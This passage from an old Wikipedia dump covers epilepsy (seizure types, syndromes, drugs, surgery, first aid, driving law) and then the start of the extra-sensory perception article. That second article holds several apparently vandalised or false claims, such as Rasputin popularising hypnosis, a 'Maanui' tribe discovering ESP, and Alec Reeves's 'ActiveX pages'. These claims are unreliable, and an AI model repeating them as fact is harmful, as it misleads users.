One interesting finding in animals is that repeated low-level electrical stimulation to some brain sites can lead to permanent increases in seizure susceptibility: in other words, a permanent decrease in seizure &quot;threshold.&quot;  This phenomenon, known as [[kindling]] (by analogy with the use of burning twigs to start a larger fire) was discovered by Dr. [[Graham Goddard]] in 1967.  Chemical stimulation can also induce seizures; repeated exposures to some pesticides have been shown to induce seizures in both humans and animals.  One mechanism proposed for this is called [[excitotoxicity]].  The roles of kindling and excitotoxicity, if any, in human epilepsy are currently hotly debated.

===&quot;Normal&quot; provocants===

Some people with epilepsy have certain triggers or provocants that will reliably produce a seizure.  If the provocant can reasonably considered to be part of normal daily life, and yet it causes a seizure, the seizures are considered 'unprovoked' for the purpose of diagnosing the person with epilepsy.  Examples of these &quot;normal provocants&quot; include reading, hot water on the head, [[hyperventilation]] and flashing or flickering lights. This last provocant is a special type of [[reflex epilepsy]] called [[photosensitive epilepsy]].

==Types of seizure==
Epileptic seizures are classified both by their patterns of activity in the [[brain]] and their effects on behaviour.

In terms of their pattern of activity, seizures may be described as either ''partial'' (focal) or ''generalised''. Partial seizures only involve a localised part of the brain, whereas generalised seizures involve the entire [[cortex (neuroanatomy)|cortex]]. The term 'secondary generalisation' may be used to describe a partial seizure that later spreads to the whole of the cortex and becomes generalised.

Partial seizures may be further subdivided into both ''simple'' and ''complex'' seizures. This refers to the effect of such a seizure on [[consciousness]]; simple seizures cause no interruption to consciousness (although they may cause sensory distortions or other sensations), whereas complex seizures interrupt consciousness to varying degrees. This does not necessarily mean that the person experiencing this sort of seizure will fall unconscious (like fainting). For example, a [[complex partial seizure]] may involve the unconscious repetition of simple actions, gestures or verbal utterances, or simply a blank stare and apparent unawareness of the occurrence of the seizure, followed by no memory of the seizure.  Other patients may report a feeling of tunnel vision or dissociation, which represents a diminishment of awareness without full loss of consciousness.  Still other patients can perform complicated actions, such as travel or shopping, while in the midst of a complex partial seizure.

The effects of partial seizures can be quite dependent on the area of the brain in which they are active. For example, a partial seizure in areas involved in perception may cause a particular sensory experience (for example, the perception of a scent, music or flashes of light) whereas, when centred in the [[motor cortex]], a partial seizure might cause movement in particular groups of [[muscle]]s. This type of seizure may also produce particular thoughts or internal visual images or even experiences which may be distinct but not easily described. Seizures centred on the [[temporal lobe]]s are known to produce [[mysticism|mystical]] or [[Religious ecstasy|ecstatic]] experiences in some people. These may result in a misdiagnosis of [[psychosis]] or even [[schizophrenia]], if other symptoms of seizure are disregarded and other tests are not performed. Unfortunately for those with epilepsy, [[anti-psychotic]] medications prescribed without [[anti-convulsant]]s in this case can actually lower the seizure threshold further and worsen the symptoms.

When the effects of a partial seizure appear as a 'warning sign' before a more serious seizure, they are known as an [[aura (symptom)|aura]]: it is frequently the case that a partial seizure will spread to other parts of the brain and eventually become generalized, resulting in a tonic-clonic convulsion. The subjective experience of an aura, like other partial seizures, will tend to reflect the function of the affected part of the brain.

Generalised seizures can be sub-classified into a number of categories, depending on their behavioural effects:
* ''[[Absence seizure]]s'' (sometimes referred to as ''petit mal'' seizures) involve an interruption to consciousness where the person experiencing the seizure seems to become vacant and unresponsive for a short period of time (usually up to 30 seconds). Slight muscle twitching may occur.
* ''[[Tonic-clonic seizure]]s'' (sometimes referred to as ''grand mal'' seizures), involve an initial contraction of the [[muscle]]s (''tonic phase'') which may involve [[tongue]] biting, [[urinary incontinence]] and the absence of [[breathing]]. This is followed by rhythmic muscle contractions (''clonic phase''). This type of seizure is usually what is referred to when the term 'epileptic fit' is used colloquially.
* ''[[Myoclonic seizure]]s'' involve sporadic muscle contraction and can result in jerky movements of muscles or muscle groups.
* ''[[Atonic seizure]]s'' involve the loss of muscle tone, causing the person to fall to the ground. These are sometimes called 'drop attacks' but should be distinguished from similar looking attacks that may occur in [[narcolepsy]] or [[cataplexy]].
* ''[[Status epilepticus]]'' refers to continuous seizure activity with no recovery between successive tonic-clonic seizures. This is a life-threatening condition and emergency medical assistance should be called immediately if this is suspected.  A tonic-clonic seizure lasting longer than 5 minutes (or two minutes longer than a given person's usual seizures) is usually considered grounds for calling the emergency services.
* ''[[Epilepsia partialis continua]]'' is a rare type of focal motor seizure ([[hand]]s and [[face]]) which recurs every few seconds or minutes for extended periods (days or years).  It is usually due to strokes in adults and focal cortical inflammatory processes in children ([[Rasmussen's encephalitis]]), possibly caused by chronic [[viral infection]]s or [[autoimmune]] processes.

==Seizure syndromes==
There are many different epilepsy syndromes, each presenting with its own unique combination of seizure type, typical age of onset, EEG findings, treatment, and prognosis. Below are some common seizure syndromes:
* ''[[Infantile spasms]] ([[West syndrome]])'' is associated with brain development abnormalities, [[tuberous sclerosis]], and perinatal insults to the brain. It affects infants (as implied by its name), which by definition is between 30 days to 1 year of life. It carries a poor prognosis such that only 5-10% of children with infantile spasms will develop normal to near-normal function, while more than two-thirds will have severe deficits. The typical seizures are characterized by sudden flexor and extensor spasms of head, trunk, and extremities. The key EEG finding in these patients is a [[hypsarrythmia]], or a high-voltage slow wave with multifocal spikes. The first line treatment for these patients is [[adrenocorticotropic hormone]] ([[ACTH]] or [[corticotropin]]) since traditional antiepileptic drugs generally cannot adequately control seizure activity. [[Vigabatrin]] is also used in many countries, and is particularly effective when tuberous sclerosis is the cause of seizures.
* ''[[Childhood absence epilepsy]]'' affects children between the ages of 4 and 12 years of age. These patients have recurrent absence seizures that can occur hundreds of times a day. On EEG, one finds the stereotyped generalized 3 Hz spike and wave discharges. A subset of these patients will also develop generalized tonic-clonic seizures. This condition carries a fairly good prognosis in that these children do not usually show cognitive decline or neurological deficits. First line treatment for pure absence seizures is [[ethosuximide]]. If patients do not respond or have mixed seizures along with their absence seizures, then [[valproic acid]] can be used.
* ''[[Benign focal epilepsy of childhood]] ([[Benign Rolandic epilepsy]])'' begins in children between the ages of 4 and 13 years. Apart from their seizure disorder, these patients are otherwise normal. Seizures occur at night and sleep promotes secondary generalization. As such, parents only report generalized seizures because focal manifestations are often subtle and go unnoticed. Between seizures, patients have a stereotyped EEG pattern that includes di- or triphasic sharp waves over the central-midtemporal (Rolandic) regions. Prognosis is uniformly good with seizures disappearing by adolescence. [[Carbamazepine]] is the first line treatment, though [[phenytoin]] and [[phenobarbital]] have also been used with some efficacy.
* ''[[Juvenile myoclonic epilepsy]]'' (JME) begins in patients aged 8 to 20 years. These patients have normal IQ and are otherwise neurologically intact. There is usually a family history of similar seizures. The seizures are morning myoclonic jerks often with generalized tonic-clonic seizures that occur just after waking. EEG readings reveal generalized spikes with 4-6 Hz spike wave discharges and multiple spike discharges. Interestingly, thse patients are often first diagnosed when they have their first generalized tonic-clonic seizure later in life when they experience sleep deprivation (e.g., freshman year in college after staying up late to study for exams). [[Valproic acid]] is the first line treatment. This condition is lifelong, thus patients must be taught appropriate sleep hygiene to prevent generalized tonic-clonic seizures.
* ''[[Temporal lobe epilepsy]]'' is the most common epilepsy of adults. In most cases, the epileptogenic region is found in the mesial temporal structures (e.g., the hippocampus, amygdala, and parahippocampal gyrus). Seizures begin in late childhood and adolescence. There is an association with febrile seizures in childhood, and some studies have shown herpes simplex virus (HSV) DNA in these regions, suggesting that perhaps this epilepsy has an infectious etiology. Most of these patients have complex partial seizures often preceded by an [[Aura_(symptom)|aura]].
* ''[[Frontal lobe epilepsy]]''
* ''[[Lennox-Gastaut syndrome]]''

==Treatment==
Epilepsy is usually treated with [[medication]] prescribed by a [[physician]]; [[primary care]]givers, [[neurologist]]s, and [[neurosurgeon]]s all frequently care for people with epilepsy.  In some cases the implantation of a stimulator of the [[vagus nerve]], or a special diet can be helpful.  Neurosurgical operations for epilepsy can be [[palliative]], reducing the frequency or severity of seizures; or, in some patients, an operation can be curative.

===Responding to a seizure===
In most cases, the proper emergency response to a generalized tonic-clonic epileptic seizure is simply to prevent the patient from self-injury by moving him or her away from sharp edges, placing something soft beneath the [[head (anatomy)|head]], and carefully rolling the person onto his or her side to avoid [[asphyxiation]].  Should the person regurgitate, the material should be allowed to drip out the side of the patient's mouth by itself.  If the seizure lasts longer than 5 minutes, [[Emergency Medical Services]] should be contacted.  Prolonged seizures may develop into ''[[status epilepticus]]'', a dangerous condition requiring hospitalization and emergency treatment.

Objects should '''never''' be placed in a person's [[mouth]] during a seizure as this could result in injury to the person's mouth or obstruction of the airway.  Despite common [[folklore]], it is not possible for a person to swallow their own [[tongue]] during a seizure.

After a seizure, it is typical for a person to be confused, disoriented, and possibly agitated or sleepy. It is important to stay with the person until this passes; people should not eat or drink until they have returned to their normal level of awareness, and they should not be allowed to wander about unsupervised.  Many patients will sleep deeply for a few hours after a seizure; this is not dangerous.  In about 50% of people with epilepsy, headaches may occur after a seizure.  These headaches share many features with [[migraine]]s, and respond to the same medications.

===Pharmacologic treatment===

Some medications can be taken daily in order to prevent seizures altogether or reduce the frequency of their occurrence.  These are termed &quot;anticonvulsant&quot; or &quot;antiepileptic&quot; drugs (sometimes AEDs).  All such drugs have side effects which are idiosyncratic and others which are dose-dependent; it is not possible to predict who will suffer from side effects or at what dose the side effects will appear.

Some people with epilepsy will experience a complete remission when treated with an anticonvulsant medication.  If this does not occur, the dose of medication may be increased, or another medication may be added to the first.  The general strategy is to increase the medication dose until either the seizures are controlled, or until dose-limiting side effects appear; at which point the medication dose is reduced to the highest amount that did not produce undesirable side effects.

Serum levels of AEDs can be checked to determine medication [[compliance]] and to assess the effects of drug-drug interactions; serum levels are generally not useful to predict anticonvulsant efficacy in an individual patient, though in some cases (such as a seizure flurry) it can be useful to know if the level is very high or very low.

If a person's epilepsy cannot be brought under control after adequate trials of two different drugs, that person's epilepsy is generally said to be 'medically refractory.'

Various drugs may prevent seizures or reduce seizure frequency: these include [[carbamazepine]] (common brand name Tegretol), [[clobazam]] (Frisium), [[clonazepam]] (Klonopin), [[ethosuximide]] (Zarontin), [[felbamate]] (Felbatol), [[fosphenytoin]] (Cerebyx), [[flurazepam]] (Dalmane), [[gabapentin]] (Neurontin), [[lamotrigine]] (Lamictal),  [[levetiracetam]] (Keppra), [[oxcarbazepine]] (Trileptal), [[mephenytoin]] (Mesantoin), [[phenobarbital]] (Luminal), [[phenytoin]] (Dilantin), [[pregabalin]] (Lyrica), [[primidone]] (Mysoline), [[sodium valproate]] (Epilim), [[tiagabine]] (Gabitril), [[topiramate]] (Topamax), [[valproate semisodium]] (Depakote), [[valproic acid]] (Depakene, Convulex), and [[vigabatrin]] (Sabril).

Other drugs are commonly used to abort an active seizure or interrupt a seizure flurry; these include [[diazepam]] (Valium) and [[lorazepam]] (Ativan).  Drugs used only in the treatment of refractory [[status epilepticus]] include [[paraldehyde]] (Paral) and [[pentobarbital]] (Nembutal).

[[Potassium bromide|Bromides]] were the first of the effective anticonvulsant pure compounds, but are no longer used due to their [[toxicity|toxicities]] and low [[efficacy]].

===Surgical Treatment===
Surgical treatment can be an option for epilepsy when an underlying brain abnormality, such as a benign [[tumor]] or an area of scar tissue (e.g. [[hippocampal sclerosis]]) can be identified.  The abnormality must be removable by a neurosurgeon.  

Surgery is usually only offered to patients when their epilepsy has not been controlled by adequate attempts with multiple medications.  Before surgery is offered, the medical team performs many tests to assess whether removal of brain tissue will result in unacceptable problems with [[memory]], [[visual perception|vision]], [[language]] or [[movement]], which are controlled by different parts of the [[brain]].  Resective surgery, as opposed to palliative, successfully eliminates or significantly reduces seizures in about 80% of the patients who undergo it.  Many patients decide not to undergo surgery owing to fear or the uncertainty of having a brain operation.

The most common form of resective surgical treatment for epilepsy is to remove a portion of either the right or left [[temporal lobe]], depending on where the seizures are occurring.  A study of 48 patients who underwent this operation, [[anterior temporal lobectomy]], between [[1965]] and [[1974]] determined the long-term success of the procedure.  Of the 48 patients, 21 had had no seizures that caused loss of consciousness since the operation.  Three others had been free of seizures for at least 19 years.  The rest had either never been completely free of seizures or had died between the time of the surgery and commencement of the study{{ref|kelly2005}}.

[[Palliative]] surgery for epilepsy is intended to reduce the frequency or severity of seizures. Examples are [[callosotomy]] or [[commissurotomy]] to prevent seizures from generalizing (spreading to involve the entire brain), which results in a loss of consciousness. This procedure can therefore prevent injury due to the person falling to the ground after losing consciousness. It is performed only when the seizures cannot be controlled by other means.  Resective surgery can be considered palliative if it is undertaken with the expectation that it will reduce but not eliminate seizures.

[[Hemispherectomy]] is a drastic operation in which most or all of one half of the cerebral cortex is removed.  It is reserved for the most catastrophic epilepsies, such as those due to [[Rasmussen syndrome]].  If the surgery is performed on very young patients (2-5 years old), the remaining hemisphere may acquire some rudimentary motor control of the ipsilateral body; in older patients, paralysis results on the side of the body opposite to the part of the brain that was removed.  Because of these and other side effects it is usually reserved for patients who have exhausted other treatment options.

===Other Treatment===
[[Ketogenic diet]]s may occasionally be effective in controlling some types of epilepsy; although the mechanism behind the effect is not fully understood, shifting of [[pH]] towards a [[metabolic acidosis]] and alteration of brain [[metabolism]] may be involved.  Ketogenic diets are high in [[fat]] and extremely low in [[carbohydrate]]s, with intake of fluids often limited.  This treatment, originated as early as the [[1920s]] at [[Johns Hopkins]] Medical Center, was largely abandoned with the discovery of modern anti-epileptic drugs, but recently has returned to the anti-epileptic treatment arsenal.  Ketogenic diets are sometimes prescribed in severe cases where drugs have proven ineffective.

There are several downsides to what initially seems a benign [[therapy]], however.  The ketogenic diet is not good for the [[heart]] or [[kidney]]s and medical problems resulting from the diet have been reported.  In addition, the diet is extremely unpalatable and few patients are able to tolerate it for any length of time.  Since a single potato chip is adequate to break the [[ketosis]], staying on the diet requires either great willpower or perfect control of a person's dietary intake.  People fed via [[gastrostomy]] or young children who receive all their food in the presence of a caregiver are better candidates.

[[Vagus nerve stimulation]] is a recently developed form of seizure control which uses an implanted electrical device, similar in size, shape and implant location to a [[heart pacemaker]], which connects to the [[vagus nerve]] in the [[neck]]. Once in place the device can be set to emit electronic pulses, stimulating the vagus nerve at pre-set intervals and milliamp levels. Treatment studies have shown that approximately 50% of people treated in this fashion will show significant seizure reduction.
 
Some people with epilepsy receive a special [[dog]] which has the rare talent of sensing the onset of a seizure and is trained to alert the human so they can reach a safe location before their seizure puts them in danger.  Other [http://www.keppra.com/pc/other_resources/canineAssistants.aspx epilepsy care dogs] do not sense seizures, but serve as companions and guardians during the loss of consciousness accompanying a seizure.

[[The Institutes for The Achievement of Human Potential]] promulgate a home program consisting of a healthy diet, clean air, and respiratory training. This alternative approach is regarded as unscientific by most medical practicioners.

==History and Stigma==

In the past, epilepsy was associated with [[religion|religious]] experiences and even [[demon|demonic]] [[Spiritual possession|possession]].  Apocryphally, epilepsy has been called '''the &quot;[[Sacred]] Disease&quot; ''' because people thought that epileptic seizures were a form of attack by [[demon]]s, or that the [[Vision (religion)|visions]] experienced by persons with epilepsy were sent by the [[gods]].  However, in many cultures, persons with epilepsy have been stigmatized, shunned, or even imprisoned; in the [[Salpêtrière]], the birthplace of modern neurology, [[Jean-Martin Charcot]] found people with epilepsy side-by-side with the mentally retarded, chronic [[syphilis|syphilitics]], and the criminally insane.  In [[Tanzania]] to this day, onlookers will not touch a person having an epileptic fit, owing to fear of demons, even if the seizure causes the person to fall into the cooking fire (the flickering light from fire may have provoked the seizure in the first place.) In ancient Rome, epilepsy was known as the ''Morbus Comitialis'' ('disease of the assembly hall') and was seen as a curse from the gods.

Stigma continues to this day, in both the public and private spheres, but polls suggest it is generally decreasing with time, at least in the developed world; [[Hippocrates]] remarked that epilepsy would be considered [[divine]] only until it was understood.{{ref|Hippocrates}}

==Legal implications==
Most people diagnosed with epilepsy are forbidden by their local laws from operating vehicles.  Seizures have caused many fatal [[car accident]]s and [[plane crash]]es.  However, there are usually special exceptions for those who can prove that they have stabilized their condition for a period of time with the help of appropriate medication.  Those few whose seizures do not cause impairment of consciousness, or whose seizures only arise from sleep, may be exempt from such restrictions, depending on local laws.

There is an ongoing debate in [[bioethics]] over ''who'' should bear the burden of ensuring that an epilepsy patient does not drive a car or fly an airplane.  In the [[United States of America|U.S.]], the majority of the 50 states place the burden on patients to report their condition to appropriate licensing authorities so that their privileges can be revoked where appropriate.  A minority of states (including [[California]]) place the burden on the patient's physician.  Empirical studies have demonstrated that such laws may deter epilepsy patients from seeking treatment from a physician for their condition, because they fear the loss of their driving privileges.

In the [[UK]], it is the responsibility of the patient to inform the [[Driver and Vehicle Licensing Agency]] (DVLA) if they have epilepsy{{ref|driving}}. The DVLA rules are quite complex{{ref|DVLA}}, but in summary, those continuing to have seizures or who are within 6 months of medication change may have their license revoked. A doctor who becomes aware that a patient with uncontrolled epilepsy is continuing to drive has, after reminding the patient of their responsibility, a duty to break [[confidentiality]] and inform the DVLA. The doctor should advise the patient of the disclosure and the reasons why their failure to notify the agency obliged the doctor to act. For more information, read the [[Epilepsy Action]] booklet on [http://www.epilepsy.org.uk/downloads/pdf/epilepsyaction_driving.pdf Driving].

==Important investigators of epilepsy==
*[[Galen]]
*[[Jean-Martin Charcot]]
*[[John Hughlings Jackson]]
*[[Hans Berger]]
*[[Herbert Jasper]]
*[[Wilder Penfield]]
*[[H. Houston Merritt]]
*[[William G. Lennox]]

==See also==

* [[Seizure]]
* [[List of people believed to have epilepsy]]
* [[Epilepsy in animals]]
* [[Seizure alert dog]]
* [[Jacksonian seizure]]
* [[Photosensitive epilepsy]]
* [[Temporal lobe epilepsy]]

==Notes and references==
#{{note|infantile}}{{cite journal | author=Nechay A, Ross LM, Stephenson JB, O'Regan M | title=Gratification disorder (&quot;infantile masturbation&quot;): a review | journal=Arch Dis Child | year=2004 | pages=225-6 | volume=89 | issue=3  | id=PMID 14977696}}
#{{note|kelly2005}}{{cite journal | author=Kelley K, Theodore WH | title=Prognosis 30 years after temporal lobectomy | journal=Neurology | volume=64 | issue=11 | year=2005 | pages=1974-6 | id=PMID 15955959}}
#{{note|genes}} {{cite journal | author=Miriam H. Meisler and Jennifer A. Kearney | title=Sodium channel mutations in epilepsy and other neurological disorders | journal=Journal of Clinical Investigation | volume=115 | issue=8 | year=2005 | pages=2010–2017}}. Full text online:  {{Doi|10.1172/JCI25466}}.
#{{note|Hippocrates}} Hippocrates [http://quote.wikipedia.org/wiki/Hippocrates quotes].
#{{note|driving}} UK Epilepsy Action: Driving and Epilepsy, [http://www.epilepsy.org.uk/info/driving_seizure.html I've had a seizure. What should I do?].
#{{note|DVLA}} UK Driver and Vehicle Licensing Agency [http://www.dvla.gov.uk/at_a_glance/content.htm Guide to the Current Medical Standards Of Fitness to Drive]. Full details for doctors regarding epilepsy are given in the [http://www.dvla.gov.uk/at_a_glance/ch1_neurological.htm#appendix Appendix]. Information for drivers can be found in [http://www.dvla.gov.uk/drivers/dmed1_files/group1.htm#nc Medical Rules - Group 1 Licence Holders].

==External links==
===Worldwide non-profit organizations===
*[http://www.epilepsy.org The International League Against Epilepsy (ILAE) website], supporting research and patient care worldwide.
*[http://www.epilepsyfoundation.org/ The Epilepsy Foundation], a non-profit organization with an excellent patient-oriented website. 
*[http://www.epilepsy.com Epilepsy.com] - Epilepsy information for patients, families and caregivers living with epilepsy.  Supported by a 501c not-for-profit affiliated with universities, drug and device manufacturers.

===Regional epilepsy organizations=== 
&lt;!--  Please don't assume that readers will know where your region is!  Use &quot;Los Angeles, California, USA,&quot; not &quot;Los Angeles.&quot;
--&gt;
*[http://www.nyuepilepsy.org The NYU Comprehensive Epilepsy Center] is the largest epilepsy center in the United States - [http://www.nyuepilepsy.org nyuepilepsy.org]
*[http://www.nyufaces.org Finding A Cure for Epilepsy and Seizures (faces)] - [http://www.nyufaces.org nyufaces.org]
*[http://www.epinet.org.au The Epilepsy Foundation of Victoria] A comprehensive site for people living with epilepsy.
*[http://www.epilepsy.org.uk/info/firstaid.html What to do when someone has a seizure] - Information from [[Epilepsy Action]]
*National Institute of Neurological Disorders and Stroke [http://www.ninds.nih.gov/health_and_medical/disorders/epilepsy.htm Epilepsy Information Page] (USA)
*[http://www.epilepsyaustralia.org Epilepsy Australia] Where to go for help with epilepsy in Australia.
*[http://www.epilepsy.org.au Epilepsy Association of Australia] Information and education, seizure first aid.
*[http://www.headlines.org.au Australian Headlines, online epilepsy magazine] News, opinion, research, personal experiences
*[http://www.eqi.org.au/ Epilepsy Queensland]An award winning site especially for children with epilepsy.
*[http://epilepsy.ca/eng/mainSet.html Epilepsy Canada]
*[http://www.getontheteam.org.au Get on the Team Campaign] Epilepsy Awareness Campaign featuring high profile ambassadors.
*[http://www.epilepsytasmania.org. The Epilepsy Association of Tasmania] A site for Tasmanians living with epilepsy.
*[http://www.ncype.org.uk The National Centre for Young People with Epilepsy] A UK charity with a school and medical centre.

===Peer support forums===
*[http://brain.hastypastry.net/forums/forumdisplay.php?f=133 BrainTalk Communities]
*[http://www.coping-with-epilepsy.com/forum/ Coping With Epilepsy]
*[http://theterranetwork.com/E/integramod/index.php Global Epilepsy Network]
*[http://www.epilepsyforum.org.uk/ National Society for Epilepsy] UK based group

[[Category:Neurological disorders]]
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  <page>
    <title>Extra-sensory perception</title>
    <id>10515</id>
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      <comment>/* The Randi Prize */ typo</comment>
      <text xml:space="preserve">&lt;!-- At least one editor thinks this article is biased - please see the talk page to discuss this --&gt;
{{POV check}}
'''Extra-sensory perception''', or '''ESP''', is the name given to any ability to acquire information by means other than the five canonical [[sense]]s ([[taste]], [[sight]], [[touch]], [[smell]], and [[hearing (sense)|hearing]]), or any other sense well-known to science ([[Equilibrioception|balance]], [[proprioception]], etc).

Because the definition of ''sense'' is vague and ambivalent,- the precise definition of ''extra-sensory perception'' is as well, but the term is generally used in reference to humans, to imply sensual sources of information unknown to modern science.

==Types of ESP==

Specific types of extra-sensory perception include: 
* Perception of events in other places ([[clairvoyance]], [[clairaudience]], [[clairgustance]], [[clairsentience]]) and in other times ([[precognition]], [[retrocognition]], [[second sight]])
* Perception of aspects of others not perceivable by most people ([[aura]] reading)
* The ability to sense communications from, and communicate with, people far away ([[telepathy]]), beyond the grave ([[medium]]-hood and [[séance|séancing]], [[spirit walking]]), or in other dimensions ([[astral projection]])

There are many other names for such powers of perception, from different cultures and different eras. It was first discovered by the Hindu tribe, Maanui.{{fact}}

The study of these abilities is called [[parapsychology]], which also addresses other abilities, similarly outside the explanation of current science and sometimes associated with ESP (e.g., [[psychometry]] and [[psychokinesis]]).

The word &quot;psychic&quot; is sometimes used as both a noun and adjective to denote a person capable of using ESP in any of its forms.  Many who believe in ESP maintain that it is a power innate to only a relatively small percentage of the population; yet some believe that everyone is psychic, and that most people have just not learned to tap into their innate extrasensory potential..

==History of ESP==
The notion of extra-sensory perception is a very old one, and in many ancient cultures it was taken for granted that certain people had such powers of perception, be it [[second sight]], or the power to [[communing|communicate]] with deities, ancestors, or spirits.  However, in recent centuries this idea has been widely classified as [[superstition]] and denounced as fictitious, or at best unprovable and unscientific.

* ''in ancient culture: the [[Delphic Oracle]], [[shaman]]s, [[soothsayer]]s, ...'' 

=== Extra-sensory perception and hypnosis ===

When [[Franz Anton Mesmer]] and [[Grigori Rasputin]] were first popularizing [[hypnosis]], the legend came about that a person who was hypnotized would be able to demonstrate ESP. [[Carl Sargent]], a psychology major at the [[University of Cambridge]], heard about the early claims of a hypnosis-ESP link, and designed an experiment to test whether they had merit. He recruited forty fellow college students, none of whom identified him- or herself as having ESP, and then divided them into a group that would be hypnotized before being tested with a pack of 25 [[Zener card]]s, and a control group that would be tested with the same Zener cards. The control subjects averaged a score of 5 out of 25 right, exactly what chance would indicate. The subjects who were hypnotized did more than twice as well, averaging a score of 11.9 out of 25 right. Sargent's own interpretation of the experiment is that ESP is associated with a relaxed state of mind and a freer, more atavistic level of consciousness. Other scientists, using normal experimental controls, have been unable to reproduce Sargent's results.

=== Extra-sensory perception and technology ===

In the early days of radio and electronics, the technology seemed magical to most people, including the engineers working on it. It was suggested that it might be used to unleash previously impossible feats of mental ability. This included communication with dead people, who were considered to have moved on to another world or &quot;plane&quot;. [[Alec Reeves]], one of the pioneers of digital communications, considered ESP a perfectly reasonable proposition. He believed that many of his inventions were prompted by the dead pioneer [[Michael Faraday]], and spent much of his earlier years trying to perfect spiritualist telecommunication devices. Some of his experiments are available as [[ActiveX]] pages on his website.


== Ongoing debates about the existence of ESP ==

Proponents of the existence of ESP point to numerous scientific studies that appear to offer evidence of the phenomenon's existence: the work of [[J. B. Rhine]], a botanist at [[Duke University]] in the 1930s, and of [[Russell Targ]] and [[Harold E. Puthoff]], physicists at [[SRI International]] in the 1970s, are often cited in arguments that ESP exists.  

Those who believe ESP does not exist point to methodological flaws in such studies[http://www.skepdic.com/zener.html], and point to numerous other ESP studies which have failed to find any evidence of the phenomenon.  Many modern scientists and skeptics do not take ESP seriously enough to find it warrants study. Believers consider the widespread disbelief in the &quot;taboo&quot; subject of ESP among the scientific and rationalist communities as a sociological phenomenon, not a scientific one. 

=== Difficulties testing ESP ===

Among the difficulties having to do with proving the existence or non-existence of '''extra-sensory perception''' are that, if ESP exists, it may have a subtle rather than an overt effect, and that the ability to perceive may be altered by the nature of the event being perceived. For example, some proponents of ESP put forward that predicting whether a loved one was just involved in a car crash might have a stronger effect than sensing which [[playing card]] was drawn from a deck, even though the latter is better suited for scientific studies. This, ''in part'', is why scientists remain skeptical, although cases of ESP involving subjects who are familiar with each other have yielded results that would indicate a positive demonstration of the ability [http://www.sheldrake.org/articlesnew/pdf/Lobach.pdf]. There are no consistent and agreed-upon standards by which ESP powers may be tested, in the way one might test for, say, electrical current or the chemical composition of a substance. Often, when self-proclaimed psychics are challenged by skeptics and fail to prove their alleged powers, they assign all sorts of reasons for their failure, such as that the skeptic is affecting the experiment with &quot;negative energy.&quot; This, and the practice of charlatanry in ESP and psychic circles[http://www.rickross.com/reference/general/general542.html], can cause scientists and rationalists to dismiss ESP claims out of hand.

There is some dispute over the interpretation of results obtained in scientific studies of ESP, as the most compelling and repeatable results are all small to moderate [[statistical]] results.  Critics of ESP argue that the results are too small to be significant, while proponents of ESP argue that the results are consistent in numerous studies. The combined [[Statistical significance|significance]] is large and considered to be further proof by proponents. That an inordinately large number of trials must be conducted to obtain statistically significant results is seen as a problem for verifying the legitimacy of ESP claims. However other areas of science, such as the medical field, rely heaviliy on this method of data collection. For example, the [[statistical]] results of the positive affect of aspirin on the heart are far less than many ESP results.

=== General criticism ===

Claims of extra-sensory perception have been subjected to repeated criticism by mainstream scientists.  Most of the criticism hinges on two major contentions: first, that studies which have shown evidence of ESP are almost always either anecdotal or plagued with methodological flaws which allowed cheating, and second, that those few studies which do not appear flawed methodologically do not produce reproducible results.

Skeptical scientists, however, sometimes misinform when demonstrating a replicated ESP experiment that has failed. 

An example of this case is that of an allegedly psychic dog in England named Jaytee, who his owners claim has an ability to sense when one of them was leaving work to come home (which he allegedly displayed by running out to the porch at that time).  Biologist [[Rupert Sheldrake]] tested JayTee extensively, including more than 50 videotaped trials, and claimed that his tests had shown that the dog had ESP ability.  Two skeptical scientists from the [[University of Hertfordshire]], Richard Wiseman and Matthew Smith, then used Sheldrake's video camera setup, conducted 4 trials of their own, and claimed that the dog had no such ability. Wiseman and Smith concluded that while Jaytee made several trips to the window during the day, the action was more in response to having heard some kind of noise outside [http://news.bbc.co.uk/1/hi/entertainment/155928.stm]. However, Sheldrake believes the data they collected actually matched his own convincingly[http://amethodnotaposition.blogspot.com/2005/09/skeptic-proves-psi.html]. Sheldrake has commented on the experiment conducted by Wiseman[http://www.sheldrake.org/controversies/wiseman.html].

&quot;As in my own experiments, he sometimes went to the window at other times, for example to bark at passing cats, but he was at the window far more when Pam was on her way home than when she was not. In the three experiments Wiseman did in Pam's parents' flat, Jaytee was at the window an average of 4% of the time during the main period of Pam's absence, and 78% of the time when she was on the way home. This difference was statistically significant&quot; - Rupert Sheldrake

According to social psychologist David Myers, in his book ''Psychology'', &quot;a reproducible ESP phenomenon has never been discovered, nor has anyone produced any individual who can convincingly demonstrate psychic ability.&quot; The lack of serious avenues of ESP research currently being conducted either in academia or other scientific venues, and the lack of papers on the subject in peer-reviewed journals, is a strong indicator of where science currently stands on the subject of the paranormal. However, the funding in these areas is extremely small when compared to the funding in others.

==The Challenges==

===The Randi Prize===
[[James Randi]], was a founding fellow and prominent member of CSICOP. He made his name and fortune as a stage magician, and later became a skeptic devoted to debunking the claims of performers who pretended to offer more than a good show.  In 1996, he set up the [[James Randi Educational Foundation]] to debunk paranormal phenomena and educate the public about them.  The foundation has famously made a standing offer of a $1 million prize to anyone who could demonstrate ESP or any psychic phenomenon.  

The [http://www.randi.org/research/challenge.html prerequisites] for trying to claim the &quot;Randi Prize&quot; are non-trivial, however; as of 2005, no would-be claimants have passed Randi's preliminary test (which has a lower significance level than the formal test), and no offers to conduct a formal test have been extended by the Foundation.

The way Randi responds to people claiming to have a paranormal ability is considered to be heavy handed and rude by some and his method of choosing who is accepted for testing allows JREF full control over who and who isn't tested [http://www.alternativescience.com/randi's-letter.htm]

There are also those who [http://amethodnotaposition.blogspot.com/2005/09/who-do-you-trust.html believe that Randi is not an honest broker] and who consider his offer of a prize nothing more than a PR game. Randi's response to these criticisms has been to point out that he suspects they are commonly made by believers in the paranormal who wish to discredit him, and that as a tax-exempt organization, his foundation is obliged to [http://www.randi.org/research/faq.html#3.1 provide proof of their financial accountability].  While some of Randi's opponents, like [[Sylvia Browne]], have openly claimed that Randi does not actually have the money[http://www.randi.org/jr/030504newsweek.html#10], other critics say they don't question whether the prize money exists, but rather whether someone quoted as saying &quot;I always have an out - I'm right&quot; with regards to the prize, is going to pay up to a legitimate claimant with a demonstrable ability[http://www.skepticalinvestigations.org/skepticorgs/]. There is no direct way to confirm Randi indeed made the quote attributed to him by Rawlins, and the quote appears in none of Randi's books or other writings. Regarding the mistrust that paranormal believers have concerning Randi's fairness [http://www.sheldrake.org/controversies/randi.html], he has pointed out that to fail to pay the prize money to a claimant who successfully and legitimately passes the test would open up the JREF to criminal prosecution.

===The Zetetic challenge===
